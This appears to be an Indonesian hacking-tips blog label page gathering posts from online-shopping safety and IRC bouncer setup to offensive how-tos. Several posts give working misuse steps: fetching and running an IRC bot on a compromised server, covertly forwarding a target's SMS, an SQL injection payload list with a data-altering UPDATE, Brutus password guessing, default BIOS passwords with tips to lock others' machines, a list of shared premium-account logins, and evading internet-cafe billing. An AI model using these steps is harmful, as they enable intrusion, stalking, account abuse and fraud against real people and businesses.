Showing posts with label Tips Trick Hacking. Show all posts
Showing posts with label Tips Trick Hacking. Show all posts

TIPS BELANJA ONLINE


Belanja secara online memang menyenangkan, Anda tinggal menyalakan PC, aktifkan internet dan dengan beberapa kali klik, Anda bisa memilih barang yang diinginkan dan setelah transaksi terjadi, barang akan langsung dikirim ke tempat tujuan. Semua itu bisa dilakukan tanpa beranjak dari depan komputer.
Namun jangan lupa untuk tetap memperhatikan hal-hal penting yang bisa membuat belanja online Anda menjadi tetap menyenangkan. Karena banyak bahaya mengintai yang siap menjerumuskan Anda.
Berikut beberapa tips sederhana agar belanja online Anda lebih aman dan nyaman:


  1. Hati-hati memberi informasiJangan pernah untuk memberi tahu berbagai informasi mengenai data keuangan Anda, seperti nomor PIN, password atau nomor penting lainnya yang berhubungan dengan keuangan Anda. Para pedagang tidak membutuhkan hal itu, jadi jika ada kolom yang menanyakan hal tersebut lebih baik diabaikan saja.
  2. Periksa identitas/status penjual Pastikan penjual yang hendak Anda beli barangnya memiliki reputasi yang bagus. Periksa apakah penjual tersebut memiliki alamat yang jelas. Hati-hatilah jika mereka hanya mencatumkan nomor telepon serta alamat email gratisan.
  3. Perhatikan ikon pada browser. Sebuah browser akan menampilkan ikon tertentu jika situs yang dikunjungi tidak aman atau memiliki status berbahaya. Jika Anda tertarik pada barang yang ditawarkan, sedangkan browser menampilkan ikon unsecure, abaikan saja situs tersebut. (contoh link situs yang secure : Https://www.situs-online.com)
  4. Pastikan komputer Anda terdapat aplikasi proteksi Sangat disarankan Anda menggunakan aplikasi proteksi tambahan selain antivirus. Sebaiknya tambahkan dengan aplikasi firewall, enkripsi atau anti-phishing untuk mencegah terjadinya pencurian identitas.
  5. Jika ragu, tinggalkan saja Tampilan yang menarik, harga murah, serta pilihan barang yang beragam memang menggoda. Hal inilah yang bisa dijadikan semacam jebakan oleh situs online ilegal/palsu untuk menarik korbannya. Oleh karena itu jika Anda masih memiliki keraguan akan status si penjual, lebih baik cari situs lain yang sudah lebih terpercaya.
  6. Cari situs dengan logo SSL Mirip tips nomor 3, perhatikan logo SSL pada bagian bawah browser Anda. Logo SSL merupakan teknologi standar keamanan yang mana akan melindungi proses transaksi.
  7. Jangan langsung tergiur harga murah
  8. Kadang Anda menemui suatu barang dengan penawaran yang melampaui ekspektasi Anda. Potongan harga yang terlalu tinggi, harga terlalu murah yang cenderung tidak masuk akal kadang merupakan jebakan untuk mengelabui pembeli.
  9. Ubah password secara berkala Saat bertransaksi melalui situs online, biasanya Anda memiliki akun tersendiri yang mana didalamnya disertakan penggunaan password. Nah, lakukan penggantian password secara rutin. Dan yang tidak kalah penting, lakukan log-out setiap selesai melakukan transaksi.

woko@2011

Menyadap sms


Bagi anda yang ingin mengawasi seseorang dengan menyadap sms di hp-nya anda bisa menggunakan cara berikut ini :
  1. Download SMS Anywhere v1.0  ---> -DOWNLOAD-
  2. Siapkan 2 Handphone Instal Aplikasi tadi di kedua Handphone ( Handphone Anda & Handphone Target )
  3. Aktifkan Aplikasi ini dari ponsel yang akan disadap dengan mengetikkan : SA(spasi)(password)(spasi)ON  Panjang password maksimal 8 karakter Contoh SA 12345678 ON lalu kirim sms ini ke nomor ponsel kamu.
  4. Ketikkan sms ini di HP yang disadap agar setiap sms yg masuk di HP nya akan selalu diteruskan ke HP kamu : SA(spasi)(password)(spasi)R1 misal SA 12345678 R1 sms ini ke nomor ponsel kamu.


Keterangan:
a. Untuk Menonaktifkan Aplikasi ketikkan : SA(spasi)(password)(spasi)OFF
b. Untuk Menghentikan Penyadapan ketikkan : SA(spasi)(password)(spasi)SO

install bot inject

Pertama2 yg harus dipahami untuk melakukan inject diserver adalah mengetahui jenis server tersebut, karena setiap server memiliki perintah atau command yg berbeda misalnya saja server windows, sunOS, FreeBSD, dll. Berikut saya coba untuk menjelaskan cara install bot inject pada server linux
  1. Masuk pada server inject anda
  2. Pastikan server yg anda akan inject adalah server os linux
  3. Cari perm pada direktory alias direktory yg ngasih akses dengan command find / -perm 777 -type d
  4. Jika langkah tiga di atas tidak ada perm-nya, berarti shell tidak bisa diisi,silahkan cari shell lain
  5. Jika perm ada masuk pada perm itu trus donlot bot pada direktori itu dan extrak dengan perintah: wget www.transganadera.com/phpSecurePages/alat/free.tgz;tar zxfv free.tgz jika link ini tidak jalan silahkan cari link lain (di google banyak)
  6. Kemudian buat conf untuk botnya dengan format ./nadya busuk.txt BotNick identBot IPserver channel(jgn pake #) nick owner. jd contohnya seperti ini ./nadya conf.txt GUARD hackDudut 10.1.1.251 barsel nyos
  7. Kemudian run/jalankan/load botnya dengan perintah ./dssl conf.txt
Gunakan nick bot yg tidak teregisterasi agar tidak jadi error ketika load, ganti nick bot regis setelah bot load pada channel. selamat mencoba!

Trims all Master scan unixunited:

Cara Install Bot / Eggdrop

  1. Login di shell anda
  2. Donlot eggdrop ke dalam shell anda dengan cara : wget http://www.eggheads.org/redirect.php?url=ftp://ftp.eggheads.org/pub/eggdrop/source/1.6/eggdrop1.6.17.tar.gz <<==== jika filenya tidak ada atau tidakbisa di donlot silahkan cari di situs lain
  3. Kemudian extract filenya,dengan cara : tar -zxvf eggdrop1.6.17.tar.gz
  4. Jika sudah ter-extract kemudian masuk kedirektorinya dengan perintah: cd eggdrop
  5. Kemudian edit conf bot-nya sesuai keterangan yg ada dalam filenya. cari file dengan nama eggdrop.conf, kemudian edit dan sesuaikan dengan channel dan owner-nya.untuk edit anda bisa gunakan perintah misalnya:edit eggdrop.conf
  6. Jika sudah mengedit simpan file eggdrop tadi kemudian jalankan bot dengan perintah: ./eggdrop -m eggdrop.conf
  7. Jika load berhasil anda tinggal tunggu di channel anda
  8. Pv botnya dengan :/msg (bot nick) hello
  9. Anda bisa menggunakan /ctcp chat untuk melihat perintah bot-nya
  10. Untuk tcl bisa anda cari dengan search engine (banyak bgt red)
aplikasi pendukung PuTTY download

List Free Shell / Shell gratis

Berikut adalah beberapa list shell dan psy gratis

SDF (freeshell.org) - http://sdf.lonestar.org

Free.Net.Pl (Polish server) - http://www.free.net.pl

FreeShells - http://www.freeshells.net

freeshells - http://freeshells.net.pk

LinuxShell - http://www.linuxshell.org

takiweb - http://www.takiweb.com

FreePort - http://freeport.xenos.net

shellasylum.com - http://www.shellasylum.com

Daforest - http://www.daforest.org

FreedomShell.com - http://www.freedomshell.com

GREX (cyberspace.org) - http://www.grex.org

NYX - http://www.nxy.net

ShellYeah - http://www.shellyeah.org

HOBBITON.org - http://www.hobbiton.org

DucTape - http://www.ductape.net

XOX.pl (Polish server) - http://www.xox.pl

IProtection - http://www.iprotection.com

CORONUS - http://www.coronus.com

ODD.org - http://www.odd.org

MARMOSET - http://www.marmoset.net

flame.org - http://www.flame.org

BSDSHELL - http://free.bsdshell.net

ROOTshell.be - http://www.rootshell.be

LuxAdmin - http://www.luxadmin.org

shellweb - http://shellweb.net

blekko - http://blekko.net

Cara Manginstal psyBNC (Server linux)

1. Login ke shell anda
2. Download file psybnc : misalnya ==>> $ wget http://www.psybnc.net/psyBNC-2.3.2-7.tar.gz
3.Lakukan extrak terhadap file psyBNC-2.3.2-7.tar.gz
caranya : ==>> $tar -zvxf psyBNC-2.3.2-7.tar.gz
4. Setelah proses ekstrak selesai, masuk ke direktory psybnc nya..
cara nya : cd psybnc
5. Setelah masuk ke direktory psybnc, lakukan proses compile terhadap source/file nya tadi
cara nya ketikan perintah:$ make
6. Edit config psybnc nya, dimana config psybnc tersebut, dengan perintah ==>>>$ pico psybnc.conf
Contoh hasilnya adalah:
PSYBNC.SYSTEM.PORT1=31337
PSYBNC.SYSTEM.HOST1=*
PSYBNC.HOSTALLOWS.ENTRY0=*;*
Jika anda sudah menegedit portnya keluar dengan perintah : ctlr + x , kemudian pilih Y (Yes) untuk menyimpan
7. Jalankan program psybnc nya... caranya ketikan perintah :$ ./psybnc
hasil nya :

.-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-.
,----.,----.,-. ,-.,---.,--. ,-.,----.
| O || ,-' \ \/ / | o || \| || ,--'
| _/ _\ \ \ / | o< | |\ || |__ |_| |____/ |__| |___||_| \_| \___| Version 2.3.2-7 (c) 1999-2003 the most psychoid and the cool lam3rz Group IRCnet `-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=tCl=-' Configuration File: psybnc.conf Language File: psyBNC Language File - English No logfile specified, logging to log/psybnc.log Listening on: 0.0.0.0 port 31337 psyBNC2.3.2-7-cBtITLdDMSNpE started (PID 52524) 8.Psy berhasil di install kemudian jalankan dari mIRC anda dengan server sesuai server shell anda contoh /server (server shell anda) (port)

Commans atau perintah psyBNC

/BHELP
Untuk menampilkan menu help atau arahan-arahan yang ada pada psyBNC

/BWHO
Digunakan untuk melihat daftar user yang sedang menggunakan psyBNC yang satu shell account dengan psyBNC yang anda pakai.

/ADDUSER
Untuk menambah user/pengguna baru dalam account psyBNC anda. Catatan: psy level admin psyBNC saja yang bisa melakukan adduser
Contoh:
/ADDUSER ident:username
jadi penulisannya ==>> /adduser warik:beni)

/DELUSER
Untuk menghapus user/pengguna dari account psyBNC anda. Hanya psy admin yang bisa malakukan perinta ini
Contoh:
/DELUSER ident
jadi ===>>(/deluser warik)

/BKILL
Untuk meng-kill atau memutus connection user tertentu yang ada di dalam account psyBNC anda tetapi arahan ini tidak akan
menghapus user tersebut tapi hanya akan membuat user disconnect.Hanya admin psyBNC saja yang dapat melakukan perintah ini.

/PASSWORD
Digunakan untuk merubah password psyBNC
Contoh:
/password
/password sabeni123

/ADDSERVER
Untuk memasukkan server-server yang anda kehendaki, misalnya irc.dal.net 6667
Contoh:
/addserver irc.dal.net:6667

/LISTSERVERS
Untuk melihat daftar server yang ada pada psyBNC anda.

/DELSERVER (no List)
Digunakan untuk mendiskoneksikan server yang ada pada daftar/list server psyBNC anda.
Contoh:
/delserver 1


/JUMP
Untuk mengganti server yang anda pakai ke server berikutnya yang sudah anda add yg ada pada daftar (list)

/BQUIT
Untuk keluar dari network atau diskonek dari server IRC (nick anda akan tidak muncul di channel)

/BCONNECT
Untuk menyambung kembali ke network/server IRC (nick anda akan oNLine kembali pada Channel anda)

/SETAWAY
Arahan ini untuk menampilkan pesan anda ketika anda tidak di dalam IRC atau tidak online. Pesan ini akan nampak bila nick anda di-whois
Contoh:
/setaway (pesan)
/setaway maaf saya lagi gila,jadi ga online

/SETAWAYNICK
Untuk mengubah atau menukar nick anda ketika anda keluar dari IRC (offline)
Contoh:
/setaway (nick)
/setaway beni||off

/SETLEAVEMSG
Untuk menampilkan teks atau pesan anda ketika anda keluar dari IRC (offline.)
Contoh:
/setleavemsg (pesan)
/setleavemsg Sorry, sila tinggalkan pesanan suara anda....!!

/SETUSERNAME
Untuk mengganti user name yang tampil setelah IP address anda ketika di-whois.
Contoh:
/setusername (nama yang anda kehendaki)
/setusername benisabenibeninya

/VHOST
Untuk mengganti Vhost (Virtual Host) atau IP address psyBNC anda ke Vhost yang anda kehendaki.
Contoh:
/vhost (vhost yang anda kehendaki dan disediakan oleh shell anda)
/vhost aston.crack.in.the.box.shell.org
Tapi anda harus mengtahui dulu daftar vhost yg ada..atau apakah anda memiliki layanan vhost sendiri

/PLAYPRIVATELOG
Untuk menampilkan pesan-pesan untuk anda selama anda tidak online

/ERASEPRIVATELOG
Untuk menghapus privatelog atau pesan selama tidak online

Password BIOS

Untuk keamanan computer biasanya diberikan password pada BIOS. Tetapi setelah beberapa waktu menggunakananya, pengguna atau pengelola computer akan lupa passwordnya sehingga untuk merubah settingan BIOS menjadi tidak bisa. Adapun cara mudah untuk mengatasi hal tersebut adalah dengan mencabut baterai CMOS yg ada pada mainboard komputer atau melakukan hubungan pendek pada baterai tersebut (clear CMOS===>> pake set jumper). Tapi sebelum menggunakan cara membongkar casing anda seperti tadi tidak ada salahnya menggunkan password default BIOS. Beberapa password default untuk AMI BIOS:
A.M.I
AMI
AMI_SW
AMI?SW
BIOS
HEWITTRAND
LKWPETER
PASSWORD
Sedangkan berikut ini adalah untuk AWARD BIOS :
589589
ALLY
ALFAROME
AWARD_SW
AWARD?SW
AWKWARD
BIOSTAR
CONCAT
HLT
1256
1262
LKWPETER
SER
SKY_FOX
SYXZ
Dengan password ini juga bisa anda gunakan untuk mengisengi computer warnet atau pada laboratorium kumpus atau kantor yg BIOSnya yg sudah terpassword kemudian delete aja boot prioritynya biar system operasinya tidak jalan kemudian rubah password-nya.

Tips Mengintip Host dengan Tools NMAP

Nmap yang merupakan singkatan dari Network Mapper merupakan tools para hacker yang digunakan untuk melakukan pemetaan suatu jaringan. Dengan Nmap dapat diketahui, komputer atau host mana yang aktif dan kira-kira dapat di eksploitasi lebih lanjut.
Sebelum memulai, sebaiknya Anda perlu mengetahui fasilitas apa yang tersedia dari Nmap. Untuk itu Anda dapat memulai dengan melihat option yang tersedia. Untuk mengetahui option yang tersedia dari Nmap, cukup memanggil Helpnya sebagai berikut:
C:\>nmap –h

Nmap tersedia di berbagai sistem operasi mulai dari Unix, Linux hingga Windows. Anda dapat mendownload di http://www.nmap.org atau http://www.insecure.org/nmap. Pada tulisan ini mempergunakan Nmap dengan sistem operasi Windows. Namun demikian kami tidak menggunakan versi grafis melainkan versi text atau command line, sehingga instruksi atau command line yang sama dapat Anda lakukan pada sistem operasi lainnya seperti Linux, Unix dan keluarganya.
Cara yang paling sederhana untuk mengetahui apakah sebuah komputer atau host aktif atau tidak aktif adalah dengan menggunakan perintah ping sebagai berikut:
C:\>ping server1
Pinging server1 [128.1.10.25] with 32 bytes of data:
Reply from 128.1.10.25: bytes=32 time<10ms ttl="128" bytes="32" ttl="128" bytes="32" ttl="128" bytes="32" ttl="128" sent =" 4," received =" 4," lost =" 0" minimum =" 0ms," maximum =" 0ms," average =" 0ms">ping 192.168.1.95
Pinging 192.168.1.95 with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Ping statistics for 192.168.1.95:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
C:\>

Misalnya Anda ingin memeriksa apakah ada host yang aktif pada network kelas C dengan nomor IP 192.168.1.1 s/d 192.168.1.10 Maka Anda dapat memeriksa dengan perintah sebagai berikut:
C:\> nmap -sP 192.168.1.91-100

Penggunaan option –O diperuntukan untuk mendeteksi jenis sistem operasi, sebagai berikut:
C:\> nmap -O ristbook

Diatas telah diperkenalkan beberapa option dari Nmap yang merupakan teknik scan. Berikut ini teknik scan lanjutan yang dapat Anda manfaatkan sesuai dengan medan tempur yang ada:
a. TCP connect scan -sT
Jenis scan ini terhubung ke port host target dan menyelesaikan three-way handshake (SYN, SYN/ACK
dan ACK) Scan ini mudah terdeteksi oleh pengelola host target.
b. TCP SYN Scan -sS
Teknik ini dikenal sebagai half-opening scanning karena suatu koneksi penuh tidak sampai terbentuk.Teknik ini bersifat siluman dibandingkan dengan TCP koneksi penuh dan tidak akan tercatat pada log host target.
c. TCP FIN scan –sF
Teknik ini mengirimkan suatu paket FIN ke port host target. Berdasarkan RFC 793, host target akan mengirim balik suatu RST untuk setiap port yang tertutup. Teknik ini hanya dapat dipakai pada stack TCP/IP berbasis Unix.
d. TCP Xmas tree scan -sX
Teknik ini mengirimkan suatu paket FIN, URG dan PUSH ke port host target. Berdasarkan RFC 793, host target akan mengembalikan suatu RST untuk semua port yang tertutup.
e. TCP Null scan -sN
Teknik ini membuat off semua flag. Berdasarkan RFC 793, host target akan mengirim balik suatu RST untuk semua port yang tertutup.
f. TCP ACK scan -sA
Teknik ini digunakan untuk memetakan set aturan firewall. Hal ini sangat membantu Anda dalam menentukan apakah firewall yang dipergunakan adalah simple packet filter yang membolehkan hanya koneksi penuh saja (koneksi dengan bit set ACK) atau suatu firewall yang menjalankan advance packet filtering.
g. TCP Windows scan -sW
Teknik ini dapat mendeteksi port-port terbuka maupun terfilter/tidak terfilter pada sistem-sistem tertentu seperti pada AIX dan Free BSD sehubungan dengan anomali dari ukuran windows TCPnya.
h. TCP RPC Scan -sR
Teknik ini spesifik hanya pada sistem Unix dan digunakan untuk mendeteksi dan mengidentifikasi port RPC dan program serta nomor versi yang berhubungan dengannya
i. UDP Scan -sU
Teknik ini mengirimkan suatu paket UDP ke port host target. Bila port host target memberikan response pesan berupa “ICMP port unreachable” artinya port ini tertutup. Sebaliknya bila tidak menerima pesan tersebut, Anda dapat menyimpulkan bahwa port tersebut terbuka. Karena UDP dikenal sebagai connectionless protocol, maka akurasi teknik ini sangat bergantung pada banyak hal sehubungan dengan penggunaan jaringan dan sistem reources lainnya.
Apapun teknik port scan yang akan Anda pergunakan, Anda perlu berhati-hati dalam menggunakan terhadap host target. Tindakan Anda melakukan port scanning ke host target yang bukan wewenang Anda dapat saja menimbulkan reaksi yang mungkin tidak Anda duga sebelumnya dari pengelola host target seperti serangan balik, pemblokiran terhadap acount oleh ISP dan sebagainya. Jadi sebaiknya Anda menguji coba pada sistem Anda sendiri.

Dikutip dari:
Denny Yerianto, IlmuKomputer.Com

TCH Happy Browser

HAPPY BROWSER BETA V.0.9.1(HB) adalah sebuah tools yang dikembangkan untuk security tool di platform windows pada tahun 1999 dengan versi tester. Happy Browser bisa dengan mudah dipakai oleh setiap orang yang ingin memeriksa vulnerebillitas pada NT-server/webserver, tools ini dapat digunakan secara mudah dan sederhana, belakangan juga tools ini bisa dimafaatkan untuk melakukan scanning web untuk mencari kelemahan web itu dengan mengintip security hole-nya.

Pada bagian address kita tinggal masukan web yang akan di scan kemudian enter, maka dproses scan dilakukan, dan hasil scan dapat dilihat pada window scanned. Datail situsnya akan tampil pada jendela results, dengan tools ini kita bisa mengecek server dan port apa saja yang terbuka, apabila barwarna merah artinya port tertutup dan jika ada port yang terbuka ditandai dengan logo warna kuning

SQL Injection

Keuntungan yg diambil dari trik ini adalah seperti login akses terhadap server yg bukan haknya atau yg lainnya, tergantung kepada penyerangnya.
Default setting dari SQL adalah :

adminID = sa
password ='' (kosong atau blank)

misalnya : http://www.target.com/login.asp?adminID=sa%20password=''%20 artinya menggantikan "jarak spasi" Ini merupakan kondisi yg berbahaya jika pengubahan setting tidak segera dilakukan.

Verifikasi yg dilakukan oleh SQL disaat pemakai memasukkan username dan password adalah seperti yg terlihat pada teks sebagai berikut :

SQLQuery="SELECT Username FROM Users WHERE Username="'&strUsername&"'strpassword&"'

Contoh : menggunakan injection string 'OR''= pada username maupun password baik dilakukan dgn metode URL input query string maupun Box input query string maka SQL query akan membacanya sebagai berikut :

SELECT Username FROM Users WHERE Username=''OR''='' AND Password=''OR''=''

Maka yg terjadi adalah SQL query akan menyatakan blank username dan blank password sebagai user yg sah (valid). SQL Injection yg berhasil dilakukan akan ditandai dgn munculnya error page dgn error yg dimunculkan dapat berupa ODBC error, internal server error, syntax error dan lain sebagainya.

Ada banyak variasi dari injection string yg dapat digunakan untuk melakukan SQL Injection :
'or 1=1--
'or 0=0 --
'or 'x'='x
'or a=a-
"or 0=0 --
"or 0=0 #
"or "x"="x
")or("a"="a
admin'--
hi" or 1=1 --
hi' or'a'='a
hi")or("a"="a
or 0=0 #
'or a=a--
'or 0=0 #
'having 1=1--
"or 1=1--
"or "a"="a
')or('a'='a
')or('x'='x
hi" or "a"="a
hi' or 1=1 --
hi')or('a'='a
or 0=0 --
or 1=1--

Serangan dgn menggunakan SQL Injection dapat lebih bervariasi lagi dan itu tergantung kepada situasi dan tujuan dari serangan yg dilakukan oleh penyerang. Contoh :

'UPDATE YEPCell_memberDB set Credits=100 wher UserID='yamakasi'

SQl Injection yg dilakukan seseorg dapat dideteksi dgn menggunakan IDS (Intrusion Detection System). IDS bukan lagi tool yg terlalu asing terdengar ditelinga anda. Anda dapat mencarinya di www.google.com

from : http://jambihackerlink.tk/
Judul asli : Konsep dasar SQL Injection

Mengalihkan IP address saat browsing

Setiap kali kita brows pada suatu web tertentu maka IP addres kompi kita akan selalu tercatat oleh server atau admin tertentu, misalnya 202.65.3118.67. nomor-nomor ini menunjukan posisi, lokasi bahkan indentitas server kita saat brows.
Artinya kita sedang atau dapat dipantau oleh server web yang kita kunjungi...berikut adalah salah satu web yang dapat kita gunakan agar IP kita dapat dilencengkan adalah dengan http://www.anonymouse.org,Cara penggunaannya adalah:
  1. kunjungi http://www.anonymouse.org
  2. sekarang tinggal menambahkan alamat website yang akan dikunjungi misalnya http://anonymouse.org/cgi-bin/anon-www.cgi/[url target]
  3. contoh ketika anda mengunjungi nyon-nyos.blogspot.com dengan web proxyhttp://anonymouse.org/cgi-bin/anon-www.cgi/www.nyon-nyos.blogspot.com
Lihat IP anda sekarang maka akan berubah dengan IP lain..namun kelemahan cara ini adalah untuk load akan memakan waktu yang lama


Dikutip dari: o-om.blogspot.com

Menebak Password Dengan Brotus


Brotus adalah sebuah tools yang digunakan untuk menebak suatu password pada form password tertentu, misalnya pada halaman admin untuk sebuah database server, atau untuk kegunaan lainnya, cara kerjanya adalah mencari password atau nama user dengan membandingankan pilihan kata yang kita masukan, brotus akan berusaha mencari kemiripan pada database-nya
Scan dengan tools ini adalah cara lama dan sudah dianggap kuno oleh jagoan-jagoan hack, tapi tidak ada salahnya kita pelajari dan mengentahui cara lama ini untuk sekedar menambah pengetahuan kita. Brotus sendiri dibuat pertama kali Oktober 1998 dan diluncurkan versi January 2000 yang lalu,sebagai info untuk tahun 2004 uda di donLot 70ribu user


1.DonLot brotus di www.hoobie.net
2.Kita matikan dulu anti virus atau firewall soalnya brotus uda di pack jadi di anggap virus atau softwere berbahaya
3.Jalankan brotus-nya
4.Untuk membantu brotus agar lebih cepat scan ada baiknya tentukan pass mode-nya dan pass file-nya
5.Start, jika berhasil password dan nama user akan tampil dibawah
catatan:pastikan anda sudah terkoneksi dengan LAN atau sudah tahu ip addres server dan port tujuan anda jika blm tau gunakan tips ini dan yang ini
Kamu bisa mencoba-coba sendiri tools ini dengan mengotak-atik menu-menu yang tersedia untuk mendapatkan hasil yang baik. Sekali lagi ini cara lama, bukan bermaksud untuk menampilkan cara lama dan uda kuno,bahkan udah ga bisa lagi, tetapi logika dan cara kerjanya yang bisa kita pelajari, masih banyak tools lain yang seperti ini seperti JOHN THE RIPPER (JTR), dll! 


Mendapatkan Akses Premium Account di Rapidshare

Rapidshare[dot]de, situs penyedia layanan upload dan free download file, alternatif bagi para netter yang ingin tukar-menukar file. Cukup gunakan fasilitas upload berbasis web yang telah disediakan, catat alamat url file anda dan anda bisa mendownloadnya dari manapun lain waktu atau bagikan alamat url tersebut ke teman-teman anda jika anda ingin mereka juga "menikmati" file yang telah anda upload.
Ada 2 account yang ditawarkan oleh Rapidshare, yaitu Premium account dan Free Account. Masalahnya adalah pada Free account. User akan terganggu dengan adanya counter time. Counter time ini biasanya bisa mencapai lebih dari 1 menit. Jadi, rapidshare akan membuat anda menunggu selama kurang lebih satu menit sebelum menunjukkan url file yang nada minta. Huh.. cukup menyita waktu bukan?
Masalah kedua adalah Rapidshare akan mencatat alamat IP anda dan memberikan batasan untuk melakukan download.
Masalah ketiga, manusia selalu saja merasa kurang puas. Ketika dia sudah mendapatkan akses yang setara dengan premium account, dia akan berfikir, "gimana yach biar gue benr-bener dapet premium account". Okay, di artikel ini juga saya akan mewujudkan impian itu.
Sekarang, mari kita bahas ketiga masalah itu satu persatu.


:::::: Alat perang Kita ::::::
>> Seperangkat komputer dan koneksi internet ^_^
>> keberanian dan semangat yang tinggi Smile
>> Browser Mozilla Firefox

I. Melewati Conter Time
-------------------------
1. Copy-paste alamat (URL) file yang hendak anda download di address bar Mozilla.
2. Setelah halaman Rapidshare muncul, klik Free account.
3. Akan muncul counter down, abaikan saja, hapus string url di address bar anda hingga bersih, kemudian ketik kode java script berikut: javascript:alert(c=0)
4. Tekan ENTER, akan muncul sebuah message box di hadapan anda, tenang, jangan panik, tetap fokus dan bersabar ^_^ tekan saja [OK] dengan penuh percaya diri, counter down akan segera lenyap dari hadapan anda dan rapidshare akan menampilkan link download file yang ingin anda download.

II. Mengatasi Limit Download
------------------------------
Caranya simple, gunakan saja kumpulan proxy yang sudah diposting di www.spyrozone.tk halaman Artikel&Trik kategori komputer. Pilih sendiri dari ratusan proxy itu Smile

III. Benar-Benar Mendapatkan akses Premium Account
--------------------------------------------------
Jika kedua cara yang telah saya bahas hanya akan memberikan anda akses "setara" dengan premium account, kini anda akan benar-benar mendapatkan premium account! Gunakan saja User name dan password berikut:

LOGIN: 31989
PASSWORD: 2310214

LOGIN: 27766
PASSWORD: 8797341

User: 18549
Password: 4646182

Login: 20145
Password: 7072148

Login: 19159
Password: 7932964

Login: 20151
Password: 773290

Login: 20366
Password: 7177185

Login: 20374
Password: 5630758

Login: 20452
Password: 3249043

LOGIN: 20949
PASSWORD: 2716739

User: 22484
Password: 358030

User: 18549
Password: 4646182

User: 18800
Password: 9496722

LOGIN: 20949
PASSWORD: 2716739

Login: 20145
Password: 7072148

Login: 19159
Password: 7932964

Login: 20151
Password: 773290

Login: 20366
Password: 7177185

Login: 20374
Password: 5630758

Login: 20452
Password: 3249043


PENTING :
Gunakan trik dan account yang telah saya berikan untuk mendownload file-file yang bermanfaat. Sudah bukan jamannya lagi keterbatasan membatasi kita untuk belajar. Keep Learning and happy hacking..

Nyos Notes:
Tulisan ini diambil dari http://jogjahacking.cjb.net/
URL asli dari tulisan ini ada di posted: [14/02/2007, 04:43:08]
kategori : [tips and trik]
author : [WoNX]

Mencurangi Billing Warnet

Artikel ini dibuat oleh seorang bernama Blizbs_Uchiha Cara ini saya dapetin cara ini konon berlaku untuk segala versi billing explorer dan kebanyakan aplikasi billing lainnya. Dan merupakan kelemahan semua billing warnet yang berbasis windows!!!

Saat mulai menyalakan komputer di warnet yang pertama muncul saat windows dimulai adalah login screen client billing yang menutupi seluruh area windows. Fungsi Alt+Tab dan Ctrl+Alt+Del biasanya ikut-ikutan di-disable untuk memaksa kita login melalui program billing itu.
Sebenarnya saat kita menghadapi login screen itu komputer sudah siap dijalankan. Hanya terhalang oleh screen login yang menyebalkan itu.
Yang perlu kita lakukan hanyalah menyembunyikan jendela login itu tanpa perlu login. Ada banyak soft buat nyembunyiin window, salah satunya ZHider. Saya hanya akan menjelaskan penggunaan ZHider. Bagi yang menggunakan progie laen silakan baca manualnya, tapi yang perlu diperhatikan adalah progie yang anda gunakan harus bisa show/hide window pake hotkey coz windows
Yang harus disiapkan:
1. Program ZHider. Cari pake google. Ukurannya kecil
2. Muka bego dan polos
3. Mental yang kuat dan berani digebukin bila ketahuan
Langkah-langkahnya:

01. Masuk warnet dan pasang muka bego biar ga dicurigai operator
02. Pastikan selain box/bilik yang kita tempati masih ada box lain yang kosong. Biar ga dicurigai juga sih.
03. Usahakan cari tempat yang jauh dari op, supaya ga ketahuan box kamu kosong apa nggak.
04. Saat masuk login screen, login aja seperti biasa.
05. Jalankan ZHider yang sudah disiapkan di disket/flashdisk. Kalo belom ada, cari aja pake google.
07. Setelah ZHider dijalankan langsung aja logout.
08. Naah, di login screen ini kita mulai aksi mendebarkan kita. Tekan Ctrl+Alt+Z.. Jreeeng, login screen telah menghilang !!!
09. Browsinglah sepuasnya, tapi tetap pastikan ada box lain yang kosong. Kan aneh kalau ada yang masuk warnet, dia lihat udah penuh. Padahal di billing server kelihatan masih ada yang belum login.
10. Kalo sudah puass tekan Ctrl+Alt+x untuk memunculkan kembali login screen yang menghilang entah kemana:)
11. Login seperti biasa dan browsing beberapa menit sampai penunjuk tarif sampai ke angka yang kita kehendaki. Ini supaya ga dicurigai.
12. Logout. SIapkan muka bego, lalu bayar tarif.

Cara ini lebih mudah dilalukan bila si operator ga terlalu kenal sama kamu. Apalagi bila si op sering keluyuran.

Ini beberapa hotkey ZHider yang bisa digunakan, untuk hotkey lainnya silakan baca file readme yang disertakan bersama zhider
CTRL+ALT+Z Menyembunyikan jendela aktif
CTRL+ALT+X Menampilkan kembali semua jendela yang disembunyikan
CTRL+ALT+L Menampilkan dialog zhider
CTRL+ALT+M Menampilkan kembali semua jendela yang disembunyikan, dan juga menutup zhider.

Kalo cara di atas ga bisa dilakuin, hentikanlah usahamu. Kalo ketahuan langsung pertebal "muka bego"-mu. Misalnya bilang "Eh, kok jadi gini ya? Kemaren ga gini kok." Ato kata-kata lain, tergantung kreatifitas hehe.. klo digebukin lari…sekencang-kencengnya

Kitipan dari : BLiZBS Uchiha

HAPPY BLOGGING

Dulu gue bingung bgt apa itu blog?,gmn sih buat blog?,dimana juga buatnya?. Gue pikir blog cm ajang chat room, forum diskusi atau sejenis ajang gaul buat anak muda saja. Padahal sebenarnya lebih luas blog adalah suatu web page atau home page yang dikembangkan melalui fasilitas database tertentu. Sehingga pengelolanya dapat mengukur sajian halaman blog secara mudah, cepat, tampa konfigurasi atau perubahan page secara keseluruhan
aDA definisi yang mengatakan blog adalah suatu catatan harian atau merupakan seruan untuk memprotes sesuatu dan di publikasikan dengan media web blog ini. Menurut Asdani Kindarto blog dapat juga dipahami sebagai sebuah tipe atau bentuk website yang biasanaya disusun secara kronologis, dengan susunan entry atau posting yang teratur dan terkadang ditulis dan di update secara teratur
Type your summary here
Semua orang bahkan dapat membuat blog karena tidak membutuhkan keahlian khusus dan pengetahuan mengenai pemrograman web dan HTML, beberapa penyedia blog gratis telah menawarkan beragam kemudahan bagi pengguanya, so silahakan buat blog n posting artikel anda, selamat ber-blog ria aja.
Penyedia blog gratis :
· www.blogger.com
· www.xanga.com
· www.blogsome.com
· www.multiply.com
· www.blogdrive.com
· www.blogcity.com
· de el el deh…soele banyak
Type rest of the post here

ANATOMI HACKING

